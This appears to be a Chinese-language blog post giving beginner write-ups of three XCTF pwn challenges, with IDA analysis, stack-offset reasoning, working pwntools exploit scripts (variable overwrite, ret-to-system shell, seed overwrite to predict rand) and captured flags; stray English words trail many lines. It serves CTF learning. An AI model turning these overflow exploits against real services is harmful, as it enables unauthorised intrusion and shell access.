【CTF】Pwn入門 XCTF 部分writeup

✨碎碎念

咕咕咕了很久的Pwn,臨時抱佛腳入門一下。html

先安利以前看的一個 Reverse+Pwn 講解視頻python

講的仍是很不錯的,建議耐心看完linux

另外感受Reverse和Pwn都好難!!程序員

不,CTF好難!!shell

 

以前學C的時候瞭解過gets()函數很危險windows

通常筆者會使用以下代碼代替gets()數組

scanf("%[^\n]%*c",a);

學了Pwn更直觀地感覺到了這一點ide

 

關於scanf的更多用法詳見函數

https://blog.csdn.net/jeffasd/article/details/80705487.net

 

✨堆棧示意圖

✨writeup

 

when_did_you_born

題目連接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

 

附件是沒有擴展名的文件

//後面的題目就不提了附件了應該都是Linux文件

剛剛開始入門Pwn

 

參考

http://www.javashuo.com/article/p-eosswxxm-nc.html

 

IDA64打開 F5反編譯

很明顯gets函數的地方存在漏洞

//學C的時候就應該知道這個函數存在風險

// gets從標準輸入設備讀字符串函數,其能夠無限讀取,不會判斷上限,以回車結束讀取,因此程序員應該確保buffer的空間足夠大,以便在執行讀操做時不發生溢出。

 

要v5不等於1926才能進入else

而cat flag又須要v5等於1926

 

雙擊變量v4 v5存放在同一個stack中

看IDA最上面的rsp rbp也能夠看出來

源代碼可知先壓v5再壓v4

 

構造exp壓v4的時候覆蓋v5的值

 

//wp中的exp有問題

//第一次不是send 1926 send其餘值才能進入else

修改以下

from pwn import *

p=remote('220.249.52.133',34030)
shellcode=b'a'*8+p64(1926)
p.recvuntil('Your Birth?')
p.sendline('1')
p.sendline(shellcode)
p.interactive()

Flag:cyberpeace{0541792f47eb4f7c642d2d7af1b5885f}

 

//噗隨機出來50額外金幣 叫我歐皇!

結束。

 

level2

題目連接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

IDA打開 F5反編譯

???

 

參考

http://www.javashuo.com/article/p-useopvld-nr.html

http://www.javashuo.com/article/p-ysulmdnl-nc.html

 

代碼很是簡單

溢出點在read函數

須要經過read溢出最後執行

system(‘/bin/sh’)得到shell

esp 0 ebp -88

offset=88

 

wp中的exp遇到以下報錯

!注意:python3中next()方法改名了 修改成__next__()

 

參考

https://blog.csdn.net/gaifuxi9518/article/details/81059938

 

修改了wp中的exp

from pwn import *

elf=ELF('./level2')
p=remote('220.249.52.133',39494)
sys_addr=elf.symbols['system']
bin_addr=elf.search('/bin/sh').__next__()
shellcode='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(bin_addr)
p.recvline
p.sendline(shellcode)
p.interactive()
p.close()

!不要再用windows打Pwn了 拿到shell也執行不了

//好吧怎麼可能有人用windows打Pwn 然而一開始我踩坑了

取得shell後ls而後cat flag

 

Flag:cyberpeace{6c8681084181617bd2e2a7bbb0a2a169}

結束。

 

guess_num

題目連接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

開啓了canary棧保護 不能直接溢出棧

 

IDA64打開 F5反編譯

代碼邏輯清晰srand生成隨機數種子 而後循環遍歷生成隨機數 猜對數字cat flag

溢出點在gets

seed數組 rsp+30 rbp-10

v9 rsp+10 rbp-30

offset=20

 

參考

http://www.javashuo.com/article/p-yxssgbwd-nm.html

http://www.javashuo.com/article/p-vdqmvauf-nc.html

 

srand初始化隨機種子,rand產生隨機數。隨機函數生成的隨機數並非真的隨機數,他們只是在必定範圍內隨機,其實是一段數字的循環,這些數字取決於隨機種子。在調用rand()函數時,必須先利用srand()設好隨機數種子,若是未設隨機數種子,rand()在調用時會自動設隨機數種子爲1。

對於該題目,咱們將隨機種子設置爲0或1都是能夠的。

 

編寫exp時須要用到libc共享庫 使用ctypes模塊

先ldd命令查找libc共享庫位置

 

exp

from pwn import *
from ctypes import *
p = remote('220.249.52.133',46393)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = b'a' * 0x20 + p64(1)

p.sendlineafter("name:",payload)
#get offset is 0x20,edit seed as 1
libc.srand(1)
for i in range(10):
    p.recvuntil("number:")
    p.sendline(str(libc.rand()%6+1))
p.interactive()

 

Flag:cyberpeace{473602a1807e5a385d0ea90b25b67d55}

結束。

 

⭐轉載請註明出處

本文做者:雙份濃縮馥芮白

原文連接:http://www.javashuo.com/article/p-catwocnl-my.html

版權全部,如需轉載請註明出處。

相關文章
相關標籤/搜索